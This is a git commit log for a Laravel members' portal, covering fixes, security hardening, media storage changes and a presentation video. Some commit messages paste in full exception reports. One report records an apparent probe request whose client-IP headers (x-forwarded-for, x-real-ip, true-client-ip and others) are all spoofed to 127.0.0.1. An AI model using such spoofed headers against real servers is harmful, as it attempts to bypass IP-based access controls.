Fix this (vibe-kanban 762adfe2)
...
## Exception Summary
- Class: `Illuminate\Database\QueryException`
- Message: \`SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type bigint: "\*"
CONTEXT: unnamed portal parameter $1 = '...' (Connection: pgsql, Host: 127.0.0.1, Port: 5432, Database: verein, SQL: select \* from "media" where "id" = \* limit 1)\`
- Code: `22P02`
- File: `vendor/laravel/framework/src/Illuminate/Database/Connection.php:838`
- Timestamp: `2026-02-10T16:08:30+00:00`
- Details: This exception was thrown during a HTTP Request.
## HTTP Request
- Method: `GET`
- URL: `https://verein.einundzwanzig.space/media/ *`
- Route: `media.signed`
- Status code: `500`
- IP address: `185.177.72.51`
### Request Headers
- `x-forwared: 127.0.0.1`
- `x-host: 127.0.0.1`
- `x-azure-socketip: 127.0.0.1`
- `x-azure-clientip: 127.0.0.1`
- `true-client-ip: 127.0.0.1`
- `x-client-ip: 127.0.0.1`
- `x-originating-ip: 127.0.0.1`
- `x-real-ip: 127.0.0.1`
- `x-forwarded-for: 127.0.0.1`
- `accept-language: en-US,en;q=0.9`
- `accept-encoding: gzip`
- `accept: */*`
- `user-agent: curl/8.7.1`
- `host: verein.einundzwanzig.space`
### Authenticated User
- Not authenticated for this execution.
## Database Queries (before exception)
- Not captured
## Stack Trace (most recent call first)
- [0] Illuminate\\Database\\Connection->runQueryCallback()
at vendor/laravel/framework/src/Illuminate/Database/Connection.php:838
- [1] Illuminate\\Database\\Connection->runQueryCallback()
at vendor/laravel/framework/src/Illuminate/Database/Connection.php:794
- [2] Illuminate\\Database\\Connection->run()
at vendor/laravel/framework/src/Illuminate/Database/Connection.php:411
- [3] Illuminate\\Database\\Connection->select()
at vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:3368
- [4] Illuminate\\Database\\Query\\Builder->runSelect()
at vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:3353
- [5] Illuminate\\Database\\Query\\Builder->{closure:Illuminate\\Database\\Query\\Builder::get():3352}()
at vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:3943
- [6] Illuminate\\Database\\Query\\Builder->onceWithColumns()
at vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:3352
- [7] Illuminate\\Database\\Query\\Builder->get()
at vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php:902
- [8] Illuminate\\Database\\Eloquent\\Builder->getModels()
at vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php:884
- [9] Illuminate\\Database\\Eloquent\\Builder->get()
at vendor/laravel/framework/src/Illuminate/Database/Concerns/BuildsQueries.php:366
- [10] Illuminate\\Database\\Eloquent\\Builder->first()
at vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php:2209
- [11] Illuminate\\Database\\Eloquent\\Model->resolveRouteBinding()
at vendor/laravel/framework/src/Illuminate/Routing/ImplicitRouteBinding.php:60
- [12] Illuminate\\Routing\\ImplicitRouteBinding::resolveForRoute()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:980
- [13] Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::substituteImplicitBindings():980}()
at vendor/livewire/livewire/src/Features/SupportPageComponents/SupportPageComponents.php:215
- [14] Livewire\\Features\\SupportPageComponents\\SupportPageComponents::{closure:Livewire\\Features\\SupportPageComponents\\SupportPageComponents::resolvePageComponentRouteBindings():207}()
at [internal function]
- [15] call\_user\_func()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:982
- [16] Illuminate\\Routing\\Router->substituteImplicitBindings()
at vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php:41
- [17] Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [18] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php:87
- [19] Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [20] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php:48
- [21] Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [22] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:120
- [23] Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:63
- [24] Illuminate\\Session\\Middleware\\StartSession->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [25] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php:36
- [26] Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [27] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php:74
- [28] Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [29] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137
- [30] Illuminate\\Pipeline\\Pipeline->then()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:821
- [31] Illuminate\\Routing\\Router->runRouteWithinStack()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:800
- [32] Illuminate\\Routing\\Router->runRoute()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:764
- [33] Illuminate\\Routing\\Router->dispatchToRoute()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:753
- [34] Illuminate\\Routing\\Router->dispatch()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:200
- [35] Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:180
- [36] Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
at vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php:19
- [37] Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [38] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21
- [39] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php:31
- [40] Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [41] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21
- [42] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php:51
- [43] Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [44] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php:27
- [45] Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [46] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php:109
- [47] Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [48] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php:48
- [49] Illuminate\\Http\\Middleware\\HandleCors->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [50] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php:58
- [51] Illuminate\\Http\\Middleware\\TrustProxies->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [52] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php:22
- [53] Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [54] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php:26
- [55] Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [56] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/nightwatch/src/Hooks/GlobalMiddleware.php:53
- [57] Laravel\\Nightwatch\\Hooks\\GlobalMiddleware->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [58] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137
- [59] Illuminate\\Pipeline\\Pipeline->then()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:175
- [60] Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:144
- [61] Illuminate\\Foundation\\Http\\Kernel->handle()
at vendor/laravel/framework/src/Illuminate/Foundation/Application.php:1220
- [62] Illuminate\\Foundation\\Application->handleRequest()
at public/index.php:17
## Code Context
- Not captured
## Occurrence Statistics
- First seen: `2026-02-10T16:08:30+00:00`
- Last seen: `2026-02-10T16:08:30+00:00`
- Occurrences (last 24 hours): `1`
- Occurrences (last 7 days): `1`
- Users affected: `0`
2026-02-11 14:26:24 +01:00
HolgerHatGarKeineNode
7882e0d724
Fix (vibe-kanban 7be09dee)
...
## Wenn `changelog nicht mehr existert, dann lösche die Vorkommnisse.`
Exception Summary
- Class: `Livewire\Exceptions\ComponentNotFoundException`
- Message: `Unable to find component: [changelog]`
- Code: `0`
- File: `vendor/livewire/livewire/src/Factory/Factory.php:76`
- Timestamp: `2026-02-10T17:36:34+00:00`
- Details: This exception was thrown during a HTTP Request.
## HTTP Request
- Method: `GET`
- URL: `https://verein.einundzwanzig.space/changelog `
- Route: `changelog`
- Status code: `500`
- IP address: `43.173.173.8`
### Request Headers
- `accept-encoding: gzip`
- `upgrade-insecure-requests: 1`
- `accept-language: en-US,en;q=0.9`
- `accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7`
- `user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36`
- `host: verein.einundzwanzig.space`
### Authenticated User
- Not authenticated for this execution.
## Database Queries (before exception)
- Not captured
## Stack Trace (most recent call first)
- [0] Livewire\\Factory\\Factory->resolveComponentNameAndClass()
at vendor/livewire/livewire/src/Factory/Factory.php:76
- [1] Livewire\\Factory\\Factory->resolveComponentNameAndClass()
at vendor/livewire/livewire/src/Factory/Factory.php:88
- [2] Livewire\\Factory\\Factory->resolveComponentClass()
at vendor/livewire/livewire/src/Features/SupportPageComponents/SupportPageComponents.php:251
- [3] Livewire\\Features\\SupportPageComponents\\SupportPageComponents::routeActionIsAPageComponent()
at vendor/livewire/livewire/src/Features/SupportPageComponents/SupportPageComponents.php:209
- [4] Livewire\\Features\\SupportPageComponents\\SupportPageComponents::{closure:Livewire\\Features\\SupportPageComponents\\SupportPageComponents::resolvePageComponentRouteBindings():207}()
at [internal function]
- [5] call\_user\_func()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:982
- [6] Illuminate\\Routing\\Router->substituteImplicitBindings()
at vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php:41
- [7] Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [8] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php:87
- [9] Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [10] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php:48
- [11] Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [12] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:120
- [13] Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:63
- [14] Illuminate\\Session\\Middleware\\StartSession->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [15] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php:36
- [16] Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [17] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php:74
- [18] Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [19] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137
- [20] Illuminate\\Pipeline\\Pipeline->then()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:821
- [21] Illuminate\\Routing\\Router->runRouteWithinStack()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:800
- [22] Illuminate\\Routing\\Router->runRoute()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:764
- [23] Illuminate\\Routing\\Router->dispatchToRoute()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:753
- [24] Illuminate\\Routing\\Router->dispatch()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:200
- [25] Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:180
- [26] Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
at vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php:19
- [27] Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [28] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21
- [29] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php:31
- [30] Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [31] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21
- [32] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php:51
- [33] Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [34] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php:27
- [35] Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [36] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php:109
- [37] Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [38] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php:48
- [39] Illuminate\\Http\\Middleware\\HandleCors->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [40] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php:58
- [41] Illuminate\\Http\\Middleware\\TrustProxies->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [42] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php:22
- [43] Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [44] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php:26
- [45] Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [46] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/nightwatch/src/Hooks/GlobalMiddleware.php:53
- [47] Laravel\\Nightwatch\\Hooks\\GlobalMiddleware->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [48] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137
- [49] Illuminate\\Pipeline\\Pipeline->then()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:175
- [50] Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:144
- [51] Illuminate\\Foundation\\Http\\Kernel->handle()
at vendor/laravel/framework/src/Illuminate/Foundation/Application.php:1220
- [52] Illuminate\\Foundation\\Application->handleRequest()
at public/index.php:17
## Code Context
- Not captured
## Occurrence Statistics
- First seen: `2026-02-01T12:05:09+00:00`
- Last seen: `2026-02-10T17:36:34+00:00`
- Occurrences (last 24 hours): `2`
- Occurrences (last 7 days): `17`
- Users affected: `0`
2026-02-11 14:24:11 +01:00
HolgerHatGarKeineNode
5c655c83aa
🔧 Update database name in phpunit.xml for testing environment
2026-02-11 14:19:24 +01:00
HolgerHatGarKeineNode
46ab985c8c
✨ Add setup, lint, and test scripts to composer.json
...
- 🛠️ Introduce `setup` script for streamlined project initialization.
- ✅ Add `lint` and `test` scripts for improved code quality and testing.
2026-02-11 14:15:28 +01:00
HolgerHatGarKeineNode
3c17613f77
🔥 Remove Laravel Sail and Docker setup
...
- 🗑️ Eliminate `docker-compose.yml`, Dockerfiles, and related assets.
- 🎯 Transition Sail commands to native `php`, simplifying development and deployment.
- 📦 Remove `laravel/sail` dependency from `composer.json` and update lockfile accordingly.
- ⚙️ Refactor environment configurations and tooling to decouple from Sail-specific commands.
- 🔗 Adjust `.env` and various scripts for updated database and application connections.
- 📤 Add support for `reverb` broadcasting in `.env`.
- 🚀 Streamline developer workflow with simplified setup and new dev server integration in `composer.json`.
2026-02-11 14:13:45 +01:00
HolgerHatGarKeineNode
f5cb82566a
🔒 Remove #[Locked] attribute from nip05Handle in benefits view
2026-02-05 21:16:43 +01:00
HolgerHatGarKeineNode
5b814d631b
✨ Add Security Monitoring System with Command, Model, and Service
...
- 🛡️ Introduce `SecurityMonitor` service for tampering and malicious activity detection.
- 🏷️ Add `SecurityAttempt` model and migration to log, categorize, and query security attempts.
- 🖥️ Create `SecurityAttemptsCommand` for filtering, statistics, and top IP analysis.
- ✅ Add extensive tests to ensure the reliability of security monitoring and logging.
- 🔗 Integrate `SecurityMonitor` into the exception handling pipeline for real-time monitoring.
2026-02-04 13:40:30 +01:00
HolgerHatGarKeineNode
064ed68638
🛠️ Add checks to prevent unauthenticated users from voting and hide voting buttons accordingly
...
✅ Add tests to ensure proper handling of unauthenticated users during voting interactions
2026-02-04 13:34:09 +01:00
HolgerHatGarKeineNode
2957e89c79
🔒 Add #[Locked] attribute to Livewire components to enhance security against client-side state tampering
2026-02-03 22:49:42 +01:00
HolgerHatGarKeineNode
71ce57ddd3
✨ Add NIP-05 support and improve payment interaction handling
2026-02-03 20:32:04 +01:00
HolgerHatGarKeineNode
11399e7492
🔒 Handle UniqueConstraintViolationException in createPaymentEvent to prevent duplicate payment events creation
2026-02-02 13:37:06 +01:00
HolgerHatGarKeineNode
88a6623503
🔗 Add unique pleb+year constraint to payment_events and ensure migration handles duplicates
...
- 🧹 Prune duplicate `payment_events` before adding the unique index in migration
- ✅ Add tests to verify invoice management, expiration handling, and payment status updates
- ⚙️ Refactor invoice management flow with `resolveCurrentPaymentEvent` and status syncing logic
- 🎨 Enhance UI for invoice status with dynamic messages, labels, and expiration info
2026-01-31 11:03:47 +01:00
HolgerHatGarKeineNode
42fc2d744d
🔗 Update window.nostr.min.js to use version 0.7.0 for compatibility and enhancements
2026-01-28 20:11:05 +01:00
HolgerHatGarKeineNode
7bad86dcb9
🔗 Update news view to use media.signed route for temporary signed URLs
2026-01-25 19:52:09 +01:00
HolgerHatGarKeineNode
1a73912dd9
🔒 Update media routes to support private disk and enhance file handling
...
- 🗂️ Change default filesystem disk from `local` to `private` in configuration
- 📤 Use `Storage::disk` for media download and response functionality
- ⚙️ Refactor download and file response logic for improved security and consistency
2026-01-25 19:45:12 +01:00
HolgerHatGarKeineNode
1391808793
🎨 Add dynamic category-based filtering for news and improve UI interactions
...
- 🆕 Introduce `selectedCategory` state with URL binding for category filtering
- 🪄 Add computed `filteredNews` property to handle filtered results efficiently
- 🎛️ Implement category toggle buttons and "Clear Filter" functionality in UI
- 🌟 Improve category display with badges and contextual feedback for empty states
- 🔄 Refactor repeated news loading into a single `loadNews` method
2026-01-25 19:25:22 +01:00
HolgerHatGarKeineNode
10dac9d02b
🔒 Implement signed media URLs and migrate media storage to private disk
...
- ✅ Introduce `getSignedMediaUrl` in models for temporary signed URLs
- 🗂️ Migrate media collections to private disk for added security
- 🔧 Add `media:move-to-private` command to streamline migration
- ⚙️ Update views and components to use signed media URLs
- ✏️ Adjust route `media.signed` for signed file access handling
2026-01-25 19:14:49 +01:00
HolgerHatGarKeineNode
fe2f321a12
✂️ Comment out unused backup schedule commands in console.php to disable them without deletion
2026-01-25 18:21:35 +01:00
HolgerHatGarKeineNode
f52e283f52
🔥 Remove redundant legacy files and build outputs no longer in use
...
- Delete outdated `.gitignore` rules for `videos/`
- Remove `.prettierrc` from `videos/`
- Clear obsolete best practice guides in skill subfolders (e.g., `.agent/`, `.claude/`)
- Delete cluttered long-build artifacts (`videos/build/129.bundle.js`, `.map`)
2026-01-25 18:20:30 +01:00
HolgerHatGarKeineNode
4fcbeb9ca6
📂 Add MIME type restrictions for 'main' media collection in ProjectProposal
2026-01-25 18:19:57 +01:00
HolgerHatGarKeineNode
070cfb0cb2
🎨 Enhance Outro Scene with cinematic improvements and extend duration
...
- 🕰️ Increase PortalOutroScene duration to 30 seconds for cinematic effect
- ✏️ Add LogoMatrix3DMobile component for a dynamic 3D logo display
- 🔄 Adjust animations, glow, and opacity for smoother transitions
- 🎵 Replace outdated audio timings, add precise frame-based sync for "logo-whoosh" and "final-chime"
- 💡 Update text and subtitle styles: larger fonts and adjusted colors for better readability
- 🔧 Update tests and configs for new scene duration and animations
2026-01-24 21:08:33 +01:00
HolgerHatGarKeineNode
0bf80d3989
🔥 Remove outdated PRD draft for Portal presentation
...
- Delete `videos/PRD.md` to clean up legacy documentation
- No longer relevant due to project completion and updated processes
2026-01-24 19:58:23 +01:00
HolgerHatGarKeineNode
e285a309fd
🔧 Fix asset file references for Portal presentation render
...
- Update DashboardOverviewScene to use einundzwanzig-square-inverted.svg
instead of non-existent einundzwanzig-logo.png
- Fix MeetupShowcaseScene logo extensions: EinundzwanzigKempten.jpg and
EinundzwanzigMemmingen.jpg (were incorrectly .png)
- Fix TopMeetupsScene logo extensions: EinundzwanzigKempten.jpg and
EinundzwanzigTrier.jpg (were incorrectly .png)
- Update corresponding mobile scenes with same fixes
- Update test file expectations to match corrected extensions
These fixes enable successful full render of both PortalPresentation
(1920x1080) and PortalPresentationMobile (1080x1920) compositions.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 14:45:54 +01:00
HolgerHatGarKeineNode
584532af6b
🎬 Integrate CountryStatsScene and fix test mocks
...
Replace placeholder with actual CountryStatsScene (Scene 5) in
PortalPresentation, remove unused PlaceholderScene component,
add missing mock for CountryStatsScene in tests, and fix
PortalPresentationMobile tests to mock correct mobile scene
components.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 14:35:03 +01:00
HolgerHatGarKeineNode
0ba7c5a2ef
🔊 Add frame-accurate audio sync verification system
...
Add comprehensive audio synchronization configuration and testing:
- Create AudioSyncConfig types for audio events, background music,
and scene audio configurations
- Define audio timing for all 9 scenes with frame-accurate sync points
- Add utilities for absolute frame calculation, volume interpolation,
and sync verification with tolerance support
- Include 94 tests covering timing calculations, overlap detection,
volume consistency, and frame-accurate sync point verification
The new audioSync.ts provides a centralized source of truth for all
audio-visual synchronization, enabling automated verification of
audio timing accuracy across the Portal Presentation composition.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com >
2026-01-24 14:31:13 +01:00
HolgerHatGarKeineNode
6f132e98b4
🎬 Fine-tune all transition timing with centralized configuration
...
Implement Milestone 13 requirement: Timing fine-tuning for all transitions.
Changes:
- Create centralized timing configuration (src/config/timing.ts) with:
- SPRING_CONFIGS: Unified spring presets (SMOOTH, SNAPPY, BOUNCY, etc.)
- STAGGER_DELAYS: Consistent stagger timing for cards, lists, activities
- TIMING: Scene-specific delay constants (intro, CTA, outro)
- GLOW_CONFIG: Glow effect parameters (intensity, frequency, scale)
- Helper functions: secondsToFrames(), getStaggeredDelay()
- Fine-tune all 8 portal scenes:
- Reduced perspective rotations (30° → 25° / 20° → 18°) for smoother entrances
- Increased initial scales (0.8 → 0.85-0.92) for subtler animations
- Reduced Y translations (30-40px → 18-25px) for less jarring motion
- Standardized glow frequencies using centralized config
- Consistent spring configurations across all scenes
- Add comprehensive tests (src/config/timing.test.ts):
- 38 tests covering all timing constants
- Helper function tests
- Timing consistency validation
- Scene duration verification (total = 90s)
